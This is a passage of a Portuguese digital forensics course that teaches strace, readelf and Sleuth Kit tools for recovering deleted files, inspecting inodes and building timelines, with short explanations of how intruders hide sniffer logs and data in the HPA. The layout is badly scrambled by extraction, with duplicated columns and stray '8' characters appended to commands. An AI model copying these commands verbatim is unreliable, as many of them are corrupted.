# strace -f -F /usr/sbin/sshd
ou então se encontrar um binário desconhecido
numa máquina e quiser executá-lo em um ambiente
controlado para saber a sua função. Exemplo:

# strace -f -F -i -t -x -p `pidof Xorg`8

# strace -f -F /usr/sbin/sshd8

No primeiro exemplo, utilizamos o strace para monitorar um processo em execução.


Neste caso, precisamos passar ao parâmetro –p o PID do processo que queremos
monitorar. Para isso, utilizamos o comando pidof Xorg entre aspas invertidas.

Esta é uma facilidade do shell que permite executar o comando dentro das aspas
invertidas, pegar a saída deste comando, e substituí-la na linha de comando no
lugar das aspas invertidas. O comando pidof retorna o PID do programa que bate
com o nome passado como parâmetro.

Ambiente e ferramentas de análise forense (parte 2)


52
Escola Superior de Redes RNP

Os outros parâmetros deste comando indicam ao strace os threads criados pelo


processo (-f -F), para imprimir o timestamp (-t) e para imprimir em hexadecimal
qualquer string que contenha caracteres especiais (-x).

O segundo comando é o formato utilizado para executar um processo através do


strace, permitindo assim acompanhá-lo desde o princípio.

readelf
Informações sobre executáveis
Este comando é útil na análise de binários desconhe-
readelf
Este comando é útil na análise de binários cidos. Ele permite listar uma série de informações
desconhecidos. Ele permite listar uma série de importantes sobre a estrutura do executável, facili-
informações importantes sobre a estrutura do tando assim um possível trabalho de análise desse
executável, facilitando assim um possível trabalho de
análise desse binário. binário.

# readelf -h /data/bla8
# readelf -h /data/bla
# readelf -S /data/bla
# readelf -S /data/bla8
# readelf -l /data/bla
# readelf -e /data/bla # readelf -l /data/bla8

# readelf -e /data/bla8

Estes parâmetros permitem listar seções específicas da estrutura do executável.


O primeiro exemplo lista o cabeçalho ELF, o segundo lista os cabeçalhos de cada
seção, e o terceiro lista os cabeçalhos de programa. O último exemplo na verdade
é um atalho para listar as três informações acima simultaneamente.

ldd/nm/objdump

Informações sobre executáveis # ldd /bin/ntfs-3g8

# nm /bin/ntfs-3g8
ldd/nm/objdump
Estas três ferramentas podem ser utilizadas em uma análise # objdump -x /bin/ntfs-3g8
mais avançada de um binário desconhecido.
Elas permitem descobrir informações importantes sobre a # objdump -D /bin/ntfs-3g8
estrutura, funções e dependências de um executável:
# objdump -S /bin/ntfs-3g8
# ldd /bin/ntfs-3g
# nm /bin/ntfs-3g
# objdump -x /bin/ntfs-3g O primeiro comando exemplificado permite listar de
# objdump -D /bin/ntfs-3g quais bibliotecas o programa em questão depende.
# objdump -S /bin/ntfs-3g Este comando pode ser útil para descobrir versões
modificadas de binários que possam apontar para
bibliotecas em locais externos ao padrão do sistema.

O segundo comando lista as funções exportadas pelo executável. Com esta


informação, é possível descobrir por alto algumas funcionalidades do programa
analisado. Por exemplo, um binário suspeito que utilize uma chamada setsockopt()
deve ter a capacidade de criação de um listener. Isto pode indicar que o binário
pode ser um backdoor.

Análise forense – Sessão de aprendizagem 3


53

O comando seguinte é utilizado para listar informações sobre o binário, como no


primeiro exemplo, mas, além disso, permite também listar o código assembly
do binário. Dois formatos de disassembly são suportados, como é mostrado no
segundo e terceiro exemplos.

Pacote forense de ferramentas Pacote forense de ferramentas

Por que utilizar um pacote forense de ferramentas? Tipos de ferramentas do pacote forense:
Facilitam o trabalho de analisar e extrair evidências de \\Ferramentas do Nível de Sistema de Arquivos –
imagens de disco.
Permitem recuperar arquivos removidos.
Estas ferramentas processam dados gerais sobre
São flexíveis, permitindo a análise de sistemas de o sistema de arquivos, tal como o layout de
arquivos diferentes. disco, estruturas de alocação e boot blocks.
A quantidade de dados é muito grande, então
ferramentas específicas tornam o trabalho mais fácil. \\Ferramentas do Nível de Nomes de Arquivos
– Estas ferramentas processam estruturas de
nomes de arquivos e de diretórios.

\\Ferramentas do Nível de Metadados – Estas


ferramentas processam estruturas de metadados,
que armazenam detalhes sobre os arquivos.
Pacote forense de ferramentas Metadados são dados sobre dados. Eles
armazenam informações sobre estruturas tais
Ferramentas do Nível de Sistema de Arquivos como entradas de diretórios na FAT, entradas
Ferramentas do Nível de Nomes de Arquivos MFT em sistemas NTFS, ou inodes em sistemas
Ferramentas do Nível de Metadados de arquivos UFS ou EXTFS.
Ferramentas do Nível de Blocos de Dados
Outras ferramentas \\Ferramentas do Nível de Blocos de Dados –
Estas ferramentas processam blocos de dados
onde o conteúdo de um arquivo fica armazenado,
como por exemplo clusters em um sistema FAT.

\\Outras ferramentas – Têm funcionalidades diversas


e são importantes durante a análise forense.

Pacote forense de ferramentas

Já mencionamos a ferramenta EnCase, para Windows.


Existem dois pacotes importantes para Linux:
The Coroner’s Toolkit
The Sleuth Kit
Sleuth Kit foi criado com base no primeiro, e possui
mais funcionalidades e flexibilidade.
Outras ferramentas facilitam o trabalho do analista, tal
como o Autopsy, uma interface web para os
programas do Sleuth Kit.

Ambiente e ferramentas de análise forense (parte 2)


54
Escola Superior de Redes RNP

Pacote forense de ferramentas

Vamos utilizar neste curso o pacote Sleuth Kit:


Maior flexibilidade das ferramentas
Trabalha com dispositivos de disco ou imagens binárias
Reconhece diversos sistemas de arquivos
Sem custo de utilização
As ferramentas do Sleuth Kit estão divididas em grupos, de acordo
com as estruturas de um sistema de arquivos:
Sistema de arquivos
Estruturas de nomes de arquivos
Estruturas de metadados
Estruturas de journaling
Estruturas de blocos de dados
Estruturas de gerenciamento de partições
Estruturas de acesso físico ao disco

Os inodes contêm informações necessárias aos pro-


Pacote forense de ferramentas
cessos para acessar um arquivo.
Owner: 707
Cada arquivo em um sistema Unix possui um único
inode. Group: 707
Type: regular
Cada inode contém: Owner: 707 Perms: rw-rw-rw--
Identificação do owner Group: 707 Accessed: Mon JAN 16 03:03
Tipo do arquivo Type: regular Modified: Mon JAN 16 01:01
Permissões de acesso Perms: rw-rw-rw-- Created: Sun DEC 15 10:00
Tempo de acesso Accessed: Mon JAN 16 03:03
Número de links Modified: Mon JAN 16 01:01
Tabela de conteúdo Created: Sun DEC 15 10:00
Tamanho do arquivo
Lista de blocos de dados do arquivo

Pacote forense de ferramentas

Qual a importância dos inodes e da forma de alocação


de dados no disco?
Quando um arquivo é apagado os dados continuam no
disco e podem ser recuperados até que sejam
sobrescritos.
Algoritmos de alocação de espaço evitam colisão.
Conclusão
Arquivos apagados são freqüentemente recuperados
com sucesso e possuem informações valiosas.

Análise forense – Sessão de aprendizagem 3


55

Os blocos de dados são a menor estrutura em um disco, e armazenam o conte-


údo do arquivo. Um inode pode armazenar os dados do arquivo quando este for
bem pequeno, menor que o tamanho de um bloco. Caso o arquivo tenha entre 1 e
8 blocos, o inode armazena uma lista de blocos diretamente. E quando o arquivo
for muito grande, o inode vai utilizar os blocos endereçados diretamente como
área para armazenar informações sobre os blocos que armazenam o arquivo. Este
processo é chamado de blocos de dados endereçados indiretamente, e permite
que um arquivo tenha tamanhos arbitrários.

Pacote forense de ferramentas

Como os arquivos são apagados?


O inode alocado a um arquivo é marcado como livre
O inode é recolocado na lista “free-inodes” no
superblock
O número de “free-inodes” é incrementado no
superblock
Blocos do disco são retornados para a lista de blocos
livres no disco
O número de blocos livres no disco é incrementado no
superblock

Ambiente e ferramentas de análise forense (parte 2)


56
Escola Superior de Redes RNP

Ferramentas do nível de sistema de Ferramentas do nível de sistema de arquivos


arquivos
fsstat
fsstat
Mostra detalhes e estatísticas do sistema de arquivos:
Mostra detalhes e estatísticas do sistema de arqui-
# fsstat -f linux-ext2 /data/dev_sda2_root.img
FILE SYSTEM INFORMATION vos, tal como layout, tamanho do disco, tamanho
--------------------------------------------
File System Type: Ext2 dos blocos, número de inodes e blocos de dados,
Volume Name:
Volume ID: 533d2c132a726ebcb1430beadf42a1df
datas de modificação, entre outros.
Last Written at: Tue Jan 15 21:00:42 2008
Last Checked at: Wed Jan 16 03:32:47 2008 # fsstat -f linux-ext2 /data/dev_sda2_root.img8
Last Mounted at: Tue Jan 15 21:00:12 2008
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext2
Volume Name:
Volume ID: 533d2c132a726ebcb1430beadf42a1df
Last Written at: Tue Jan 15 21:00:42 2008
Last Checked at: Wed Jan 16 03:32:47 2008
Last Mounted at: Tue Jan 15 21:00:12 2008

Este comando é importante para o investigador descobrir informações sobre o


disco que serão úteis em diversos momentos da investigação. Deve-se executar
o comando para entender a saída completa do mesmo, já que não é possível
colocá-la toda aqui. Uma parte importante da saída é mostrada a seguir:
Source OS: Linux
Dynamic Structure
Compat Features: Journal,
InCompat Features: Filetype,
Read Only Compat Features: Sparse Super,
Journal ID: 00

Journal Inode: 8
METADATA INFORMATION
--------------------------------------------
Inode Range: 1 - 64512
Root Directory: 2
Free Inodes: 51833
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 257039
Block Size: 1024
Reserved Blocks Before Block Groups: 1
Free Blocks: 50885

O tamanho dos blocos define o menor espaco disponível para um arquivo. Os


limites de inode e de blocos indicam valores úteis para serem utilizados em outros
comandos que veremos a seguir.

Análise forense – Sessão de aprendizagem 3


57

Ferramentas do nível de nomes de


Ferramentas do nível de nomes de arquivos
arquivos
ffind
ffind
Procura por nomes de arquivos que apontem para
uma dada estrutura de metadados. Procura por nomes de arquivos que apontem para
uma dada estrutura de metadados.
# ffind -f linux-ext2
/data/dev_sda2_root.img 4317
# ffind -f linux-ext2 /data/dev_sda2_root.img 43178
* /usr/NX/bin/nxclient
* /usr/NX/bin/nxclient

A estrutura de um arquivo em disco é composta por


um inode que armazena informações sobre o arquivo
e aponta para os blocos de dados que armazenam
o conteúdo do arquivo. Podemos entender o ffind
como uma ferramenta que serve para descobrir o nome de arquivo que aponta
para o inode informado.

O fls funciona basicamente como o ls, listando a estrutura de diretórios e arquivos


do dispositivo ou imagem informados, com a diferença de que lista os arquivos
removidos, também podendo listar mais informações como inode e mactimes.  

fls
Ferramentas do nível de nomes de
arquivos
fls Lista nomes de arquivos alocados ou apagados em
Lista nomes de arquivos alocados ou apagados em um diretório.
um diretório.
# fls -a –r –d -f linux-ext2 # fls -a –r –d -f linux-ext2 /data/dev_sda2_root.img8
/data/dev_sda2_root.img
d/- * 0: KNOPPIX/usr d/- * 0: KNOPPIX/usr
r/r * 4317: usr/NX/bin/nxclient r/r * 4317: usr/NX/bin/nxclient

# fls -a -f linux-ext2 # fls -a -f linux-ext2 /data/dev_sda2_root.img8


/data/dev_sda2_root.img
# fls -m / -f linux-ext2 -a -p -r /data/dev_sda2_
# fls -m / -f linux-ext2 -a -p -r
root.img > /data/dev_sda2_root.img.mac8
/data/dev_sda2_root.img >
/data/dev_sda2_root.img.mac

Ferramentas do nível de metadados


Ferramentas do nível de metadados

istat istat
Mostra estatísticas e detalhes sobre um determinado # istat -f linux-ext2 /data/dev_sda2_root.img 43178
inode.

# istat -f linux-ext2 Dados da saída do istat:


/data/dev_sda2_root.img 4317 inode: 4317
Not Allocated
Group: 2
Generation Id: 2619973599
uid / gid: 0 / 0
mode: -rwxr-xr-x
size: 5432288
num of links: 0
Inode Times:

Ambiente e ferramentas de análise forense (parte 2)


58
Escola Superior de Redes RNP

Accessed: Wed Jan 16 03:51:16 2008


File Modified: Tue Dec 20 09:44:32 2005
Inode Modified: Tue Jan 15 21:00:40 2008
Deleted: Tue Jan 15 21:00:40 2008
Direct Blocks:
27894 27895 27896 27897 27898 27899 27900 27901
...

Vemos no exemplo algumas informações interessantes sobre o arquivo armaze-


nado no inode listado. Primeiro, que ele não está alocado, isto é, o arquivo origi-
nal foi removido. Segundo, vemos o usuário e grupo originais do arquivo, além de
suas permissões. Finalmente, vemos os tempos de acesso, modificação, criação
e remoção do arquivo. Veremos em outra sessão como essas informações podem
ser importantes para identificar as atividades de um invasor.

icat
Ferramentas do nível de metadados
# icat -f linux-ext2 /data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat8
icat
Extrai uma unidade de dados de um disco, a partir do
endereço do metadado que aponta para este bloco. O icat é a ferramenta utilizada para recuperar arquivos
Permite extrair um arquivo a partir de um inode, sem deletados. Com o inode sabendo onde um arquivo está
precisar saber o nome do arquivo. armazenado, como por exemplo utilizando fls ou ls–i,
# icat -f linux-ext2 é possível recuperar o arquivo utilizando o icat como
/data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat
mostra o exemplo.

ifind

Procura a estrutura de metadados para a qual um


determinado nome de arquivo aponta, ou a estrutura
de metadados que aponta para um determinado
Ferramentas do nível de metadados
bloco de dados.
ifind
Permite, em conjunto com o comando ffind achar o Permite, em conjunto com o comando ffind achar
nome de arquivo que aponta para um bloco de dados qual nome de arquivo aponta para um bloco de
# ifind -a /data/dev_sda2_root.img -d 251399 dados (por exemplo, o bloco de dados que contenha
60489
um texto importante que se deseje recuperar).
# ffind -a /data/dev_sda2_root.img 60489
/etc/passwd
# ifind -a /data/dev_sda2_root.img -d 2513998
# ifind -a /data/dev_sda2_root.img -n
usr/NX/bin/nxclient 60489
4317
# ffind -a /data/dev_sda2_root.img 60489 8
/etc/passwd

# ifind -a /data/dev_sda2_root.img -n usr/NX/bin/nxc


lient8
4317

No primeiro exemplo, temos um bloco do disco que poderia conter dados importantes
que queremos recuperar. Para achar o inode que está alocando este bloco, isto é, o
arquivo que continha originalmente este bloco, utilizamos primeiro o ifind para encontrar o
inode, e após isso utilizamos o ffind para encontrar o nome de arquivo correspondente.

Análise forense – Sessão de aprendizagem 3


59

O segundo exemplo faz o contrário: a partir do nome de um arquivo conhecido,


descobrimos em qual inode ele estava armazenado originalmente.

ils
Ferramentas do nível de metadados
Lista as estruturas de metadados e seus conteúdos
ils
Lista as estruturas de metadados e seus conteúdos em em um formato fácil de se tratar. O ils faz com ino-
um formato fácil de tratar. des o mesmo que o fls fez com nomes de arquivos.
Faz com inodes o mesmo que o fls fez com nomes de Exemplo:
arquivos.
# ils –r –f linux-ext2 /data/dev_sda2_root.img
# ils –r –f linux-ext2 /data/dev_sda2_root.img

# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.img >
/data/dev_sda2_root.img.ils
# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.
img > /data/dev_sda2_root.img.ils
# ils –O –f linux-ext2 /data/dev_sda2_root.img

# ils –O –f linux-ext2 /data/dev_sda2_root.img

Nos exemplos acima, listamos recursivamente todos


os inodes da imagem (alocados ou não). O segundo exemplo cria um arquivo no
formato mactimes, como vimos no fls.

E o terceiro exemplo é útil em um sistema ligado, permitindo listar todos os inodes que
foram removidos, mas ainda estão abertos. Com isto, poderemos identificar algum exe-
cutável ou arquivo de logs removido do disco pelo invasor, mas que continua aberto em
memória. Isto é muito comum quando um invasor instala um sniffer na máquina. Ele exe-
cuta o sniffer, descobre em qual inode o arquivo de logs está armazenado, removendo
em seguida o binário do sniffer e o arquivo de logs. Como o arquivo vai permanecer
aberto, nenhum novo arquivo poderá sobrescrever as áreas do disco onde esse log
está sendo armazenado, e ele não vai aparecer mais no sistema de arquivos. Quando o
invasor precisar, poderá voltar à máquina, e recuperar o arquivo a partir do inode. Este
é um método muito simples de esconder evidências no sistema.

Ferramentas do nível de blocos de dados


Ferramentas do nível de blocos de dados

dstat
dstat
Mostra estatísticas e detalhes sobre um bloco de dados.
Mostra estatísticas e detalhes sobre um bloco de
# dstat -f linux-ext2 /data/dev_sda2_root.img dados.
251399 
Fragment: 251399
Allocated # dstat -f linux-ext2 /data/dev_sda2_root.img
Group: 30 251399 
Fragment: 251399
Allocated
Group: 30

Os blocos de dados são a menor estrutura de arma-


zenamento possível um disco. Um inode armazena a
lista de blocos onde os dados do arquivo são armazenados. Algumas vezes, quando
um inode for sobrescrito, ou parte dos blocos de um arquivo forem sobrescritos,
não será possível recuperar o arquivo completo, mas com o dstat e dcat, podemos
recuperar partes do arquivo e com isso conseguir evidências importantes para
resolver o caso.

Ambiente e ferramentas de análise forense (parte 2)


60
Escola Superior de Redes RNP

dcat
Ferramentas do nível de blocos de dados
# dcat -f linux-ext2 /data/dev_sda2_root.img 2513998
dcat root:x:0:0:root:/root:/bin/bash
Extrai um bloco de dados de um disco. Utilizaremos daemon:x:1:1:daemon:/usr/sbin:/bin/sh
esta ferramenta quando não for possível identificar a bin:x:2:2:bin:/bin:/bin/sh
qual arquivo ou inode pertence um determinado bloco.
Permite recuperar dados parciais de arquivos.

# dcat -f linux-ext2
/data/dev_sda2_root.img 251399
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

dls
Ferramentas do nível de blocos de dados

dls
Lista detalhes sobre unidades de dados, e pode lis-
Lista detalhes sobre unidades de dados, e pode listar blocos de tar blocos de dados desalocados de um sistema de
dados desalocados de um sistema de arquivos. arquivos. Estes blocos contêm o espaço livre e os
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root. arquivos deletados em disco.
img 27891 27895 
class|host|image|first_time|unit
dls|Helix||1199680475|Fragment # dls -A -a -l -f linux-ext2 /data/dev_sda2_root.
addr|alloc
27891|a
img 27891 27895 8
27892|a
27893|a
class|host|image|first_time|unit
27894|f dls|Helix||1199680475|Fragment
27895|f
# dls -A -f linux-ext2 /data/dev_sda2_root.img > / addr|alloc
data/dev_sda2_root.img.dls 27891|a
27892|a
27893|a
27894|f
27895|f

# dls -A -f linux-ext2 /data/dev_sda2_root.img > /


data/dev_sda2_root.img.dls8

No primeiro exemplo, o dls lista o estado de alocação dos blocos entre os valores
indicados. Podemos ver que os blocos alocados aparecem com o status a, e os
desalocados estão listados como f.

O segundo exemplo cria um arquivo contendo somente os blocos desalocados do


disco. Com este arquivo, poderemos procurar por evidências que tenham sido remo-
vidas, como por exemplo, um arquivo de log ou executável. Pode não parecer muito
interessante esse tipo de função, mas pense em procurar por essa evidência em um
disco de centenas de gigabytes. Se conseguir procurar somente no espaço livre, a
quantidade de dados pode ser muito menor, facilitando o trabalho de investigação.

Análise forense – Sessão de aprendizagem 3


61

dcalc
Ferramentas do nível de blocos de dados
Usado para encontrar na imagem original o bloco de
dcalc
Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de
dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo:
blocos de dados desalocados. Exemplo:
# grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls8
# grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls
# fsstat /data/dev_sda2_root.img | grep “Block Size”
# echo $((4045060/1024)) # fsstat /data/dev_sda2_root.img | grep “Block Size“8
# dcalc -u 3950 /data/dev_sda2_root.img
# dcat /data/dev_sda2_root.img 31844 # echo $((4045060/1024))8

# dcalc -u 3950 /data/dev_sda2_root.img8

# dcat /data/dev_sda2_root.img 318448

Mais informações: Esta é a sequência de comandos com a saída correspondente:

http://www.nomachine. # grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls8


com/ 4045060:See http://www.nomachine.com/ for more information.

# fsstat /data/dev_sda2_root.img | grep “Block Size”8


Block Size: 1024

# echo $((4045060/1024))8
3950

# dcalc -u 3950 /data/dev_sda2_root.img8


31844

# dcat /data/dev_sda2_root.img 318448


The directory ‘’ not exists./.nx/config//confignxsconfCannot find the configuration
file ‘’.nxsError: the session name ‘%1’ not found in ‘%2’.NXCLIENT - Version

O primeiro comando lista as ocorrências da sequência procurada, com o offset em


bytes onde essa sequência pode ser encontrada na imagem. Com o comando fsstat,
vemos que o tamanho do bloco do disco tem 1024 bytes, então temos que encontrar
o endereço do bloco de dados que armazena o byte do offset encontrado. O comando
echo visto no exemplo usa uma facilidade do shell para calcular o endereço do bloco,
e a seguir utilizamos o dcalc para descobrir na imagem original o bloco correspon-
dente ao bloco encontrado na imagem de blocos desalocados. Por fim, utilizamos o
dcat para recuperar o conteúdo do bloco em questão.

Outras ferramentas
Outras ferramentas

mmls mmls
Mostra informações sobre o layout do disco, incluindo
espaços não particionados. Mostra informações sobre o layout do disco, incluindo
A saída identifica o tipo das partições e seus tamanhos,
facilitando a utilização do comando dd para extrair partições. espaços não particionados. A saída identifica o tipo
A saída é ordenada pelo setor inicial, facilitando encontrar das partições e seus tamanhos, facilitando a utiliza-
espaços no layout.
ção do comando dd para extrair partições. A saída
# mmls -t dos /dev/sda é ordenada pelo setor inicial, facilitando encontrar
DOS Partition Table
Offset Sector: 0 espaços no layout.
Units are in 512-byte sectors

Ambiente e ferramentas de análise forense (parte 2)


62
Escola Superior de Redes RNP

# mmls -t dos /dev/sda8


DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

O comando mmls é importante, pois mostra a estrutura de particionamento do


disco, incluindo o tipo e o tamanho das partições, possíveis espaços não particio-
nados, o tamanho do cluster (que define o tamanho do bloco) e o tipo da partição.

Outras ferramentas mmstat

mmstat Este comando mostra apenas o tipo de partição


Este comando mostra apenas o tipo de partição presente em um dispositivo. Pode ser utilizado para
presente em um dispositivo. descobrir essa informação num disco no qual não
Pode ser utilizado para descobrir essa informação conhecemos o tipo de particionamento utilizado.
num disco no qual não conhecemos o tipo de
particionamento utilizado. # mmstat /dev/das 8
dos
# mmstat /dev/das
dos O mmstat é uma ferramenta para mostrar o tipo de
tabela de partição existente na imagem ou dispositivo.

hfind

Procura um dado arquivo suspeito em bancos de


Outras ferramentas
dados de hash criptográficos conhecidos pela exis-
tência do arquivo, para verificar sua autenticidade.
hfind
Para um dado arquivo suspeito, procura em bancos de dados Diversos bancos de dados podem ser usados como
de hash criptográficos conhecidos pela existência do arquivo, fonte.
para verificar sua autenticidade. Diversos bancos de dados
podem ser usados como fonte: [9], [10], [11], [12], [13].
# hfind -i md5sum /data/badfiles_hashs.md58
# hfind -i md5sum /data/badfiles_hashs.md5 Index Created
Index Created
# hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49 # hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49
91d39043199 91d390431998
e54904845b4b0a9cb5f4991d39043199 /bin/chgrp
e54904845b4b0a9cb5f4991d39043199 /bin/chgrp

O hfind é uma ferramenta usada para procurar por


assinaturas de arquivos conhecidos. O primeiro
comando do slide cria um índice baseado na lisa de hashs passada como parâ-
metro. Existem na internet diversas listas de arquivos maliciosos ou de arquivos
válidos de um sistema.

O segundo comando procura por um hash específico dentro do índice, e indica o


arquivo correspondente a esse hash.

Análise forense – Sessão de aprendizagem 3


63

mactime
Outras ferramentas
Pega a saída dos comandos ils ou fls e cria um time-
mactime
Pega a saída dos comandos ils ou fls e cria um line, ou linha de eventos, da atividade de arquivos
timeline, ou linha de eventos, da atividade de arquivos no disco. Como veremos em sessões posteriores,
no disco. o timeline é a principal ferramenta para remontar os
# mactime -b /data/dev_sda2_root.img.mac -
passos de uma invasão.
p /etc/passwd -z GMT-3
# mactime -b /data/dev_sda2_root.img.mac -p /etc/pa
sswd -z GMT-38

disk_stat

Este comando mostra informações sobre discos ATA


e Serial-ATA. Normalmente, podemos encontrar neste
Outras ferramentas
tipo de disco uma área reservada onde os fabrican-
tes normalmente instalam arquivos de recuperação
disk_stat
Este comando mostra informações sobre discos ATA e Serial- do sistema operacional original. Esta área é conhe-
ATA. cida como Host Protected Area (HPA):
Host Protected Area (HPA):
Área reservada onde os fabricantes normalmente instalam # disk_stat /dev/sda8
arquivos de recuperação do sistema operacional original.
Maximum Disk Sector: 312499999
# disk_stat /dev/sda Maximum User Sector: 268435454
Maximum Disk Sector: 312499999
** HPA Detected (Sectors 268435454 - 312500000) **
Maximum User Sector: 268435454
** HPA Detected (Sectors 268435454 -
312500000) **
O problema do HPA é que esta área não é acessível
ao sistema operacional, nem mesmo em uma lista-
gem de partições com o comando fdisk. Mas um
invasor com as ferramentas necessárias pode utilizar
essa região do disco para esconder informações.

Se o investigador tentar realizar uma cópia do disco antes de desabilitar a prote-


ção do HPA, o dd ou qualquer comando utilizado para cópia não copiará os seto-
res protegidos. Por isso estes comandos são importantes durante o atendimento
inicial do incidente para garantir que as evidências serão coletadas corretamente.

disk_sreset
Outras ferramentas
Este comando permite remover o bloqueio de
disk_sreset
Permite remover o bloqueio de acesso ao HPA, acesso ao HPA, permitindo assim que o investigador
permitindo que o investigador tenha acesso aos tenha acesso aos setores de disco protegidos e ao
setores de disco protegidos. seu conteúdo.
# disk_sreset /dev/sda # disk_sreset /dev/sda8
Removing HPA from 268435454 to 312500000
until next reset Removing HPA from 268435454 to 312500000 until next
reset

Ambiente e ferramentas de análise forense (parte 2)


64
Escola Superior de Redes RNP

sorter
Outras ferramentas
Analisa e ordena os arquivos em uma imagem de
sorter
Analisa e ordena os arquivos em uma imagem de disco baseada em disco baseada em um banco de dados de assinatu-
um banco de dados de assinaturas de arquivos. ras de arquivos. Serve para identificar rapidamente se
# mkdir -p /usr/local/sleuthkit-2.09/share/file/ existem em disco arquivos de um determinado tipo.
# cp /usr/share/file/magic /usr/local/sleuthkit-
2.09/share/file/ # mkdir -p /usr/local/sleuthkit-2.09/share/file/8
# sorter -f linux-ext2 -d /data/sorter
/data/dev_sda2_root.img # cp /usr/share/file/magic /usr/local/sleuthkit-2.09
Analyzing "/data/dev_sda2_root.img“
Loading Allocated File Listing
/share/file/8
Processing 12674 Allocated Files and Directories
… # sorter -f linux-ext2 -d /data/sorter /data/dev_sd
100%
All files have been saved to: /data/sorter a2_root.img8
Analyzing “/data/dev_sda2_root.img“
Loading Allocated File Listing
Processing 12674 Allocated Files and Directories

100%
All files have been saved to: /data/sorter

O arquivo unknown.txt contém os arquivos encontrados pelo sorter com os res-


pectivos inodes onde foram encontrados.

sigfind
Outras ferramentas

O principal problema em procurar padrões utilizando


sigfind
O comando sigfind permite procurar por um padrão o comando grep é que não podemos procurar por
binário em um arquivo. padrões binários. Por exemplo, como encontrar
a assinatura de um arquivo gzip? Neste caso, o
# sigfind -b 1024 1f8b08
/data/dev_sda2_root.img | less comando sigfind pode ser utilizado. Ele permite pro-
# ifind -a /data/dev_sda2_root.img -d 55934 curar por um padrão binário em um arquivo.
# ffind -a /data/dev_sda2_root.img 4781
# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi
/UTBI__10-ISO8859-1.pcf.gz | head -1 # sigfind -b 1024 1f8b08 /data/dev_sda2_root.img | l
ess8
Block size: 1024 Offset: 0 Signature: 1F8B08
Block: 55934 (-)

# ifind -a /data/dev_sda2_root.img -d 559348


4781

# ffind -a /data/dev_sda2_root.img 47818


/usr/X11R6/lib/X11/fonts/100dpi/UTBI__10-ISO8859-1.
pcf.gz

# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi/UTBI__
10-ISO8859-1.pcf.gz | head -18
00000000 1f 8b 08 00 af 09 8c 43 00 03 a5 5a 0b 70
5c d5 |.......C...Z.p\.|

Vemos no exemplo acima que o comando sigfind encontrou o padrão procurado


no bloco 55934. Utilizamos em seguida o comando ifind para encontrar o inode
correspondente que aponta para este bloco. Encontrando o inode, podemos
utilizar o comando ffind para achar finalmente o nome do arquivo correspondente.

Análise forense – Sessão de aprendizagem 3


65

Fizemos uma última verificação com o comando hexdump para mostrar que os
três primeiros bytes do arquivo são mesmo 0x1f8b08.

srch_strings
Outras ferramentas
O comando strings tem um problema que muitas
srch_strings
vezes pode atrapalhar os resultados de uma inves-
Permite realizar as mesmas tarefas do comando
strings, com a diferença de poder procurar por tigação. Caso exista algum texto de evidência que
caracteres com outra codificação. utilize uma codificação diferente do padrão ASCII,
Veja os exemplos abaixo: strings não vai mostrá-lo. Por isso, o comando srch_
# strings –a /data/ HelloWorld.doc strings existe para suprir essa deficiência. Ele per-
# srch_strings -a -e l /data/ HelloWorld.doc mite realizar as mesmas tarefas do comando strings,
# srch_strings -a -e b /data/ HelloWorld.doc
# srch_strings -a -e s /data/ HelloWorld.doc com a diferença de poder procurar por caracteres
# srch_strings -a -e S /data/ HelloWorld.doc
com outra codificação. Veja os exemplos ao lado:

# strings –a /data/ HelloWorld.doc8

# srch_strings -a -e l /data/ HelloWorld.doc8

# srch_strings -a -e b /data/ HelloWorld.doc8

# srch_strings -a -e s /data/ HelloWorld.doc8

# srch_strings -a -e S /data/ HelloWorld.doc8

Nos exemplos, mudando o tipo de codificação com o parâmetro –e podemos ver a dife-
rença na saída dos comandos, comparados com o comando strings normal. Em cada
caso, utilizamos uma codificação diferente, de acordo com o parâmetro passado em –e
<codificacao>. Isto pode ser importante para encontrar arquivos que estejam em outra
codificação, como por exemplo se o invasor for proveniente de países orientais.

foremost

Quando o número de arquivos que precisamos recuperar for muito grande, fica
inviável realizar essa tarefa manualmente. O foremost é uma ferramenta escrita
pela força aérea americana, com o objetivo de facilitar a procura e recuperação
de arquivos baseados em suas assinaturas. Ele utiliza um arquivo de configuração
onde é possível especificar as assinaturas que deseja procurar.

# mkdir /data/foremost8

# foremost -o /data/foremost -c /data/foremost.conf /data/dev_sda2_root.img.


dls8
Processing: /data/dev_sda2_root.img.dls

# ls /data/foremost8
audit.txt htm jpg

Podemos ver que o comando cria um diretório para cada tipo de arquivo identi-
ficado, e dentro dele armazena os arquivos do tipo que foram recuperados da
imagem especificada. No nosso exemplo, utilizamos a imagem dls que, conforme
vimos, contém os blocos de dados desalocados do disco original.

Ambiente e ferramentas de análise forense (parte 2)


66
Escola Superior de Redes RNP

O comando foremost cria também um arquivo


Outras ferramentas
chamado audit.txt que contém informações sobre a
localização dos arquivos recuperados:
foremost
Facilita a procura e recuperação de arquivos baseados # cat /data/foremost/audit.txt8
em suas assinaturas, utilizando um arquivo de
configuração onde é possível especificar as Foremost version 1.5 by Jesse Kornblum, Kris
Kendall, and Nick Mikus
assinaturas que deseja procurar.
Audit File
# mkdir /data/foremost Foremost started at Mon Jan 14 21:03:44 2008
# foremost -o /data/foremost -c /data Invocation: foremost -o /data/foremost -c /data/
/foremost.conf /data/dev_sda2_root.img.dls foremost.conf /data/dev_sda2_root.img.dls
Processing: /data/dev_sda2_root.img.dls
# ls /data/foremost Output directory: /data/foremost
audit.txt htm jpg Configuration file: /data/foremost.conf
---------------------------------------------------
---------------
File: /data/dev_sda2_root.img.dls
Start: Mon Jan 14 21:03:44 2008
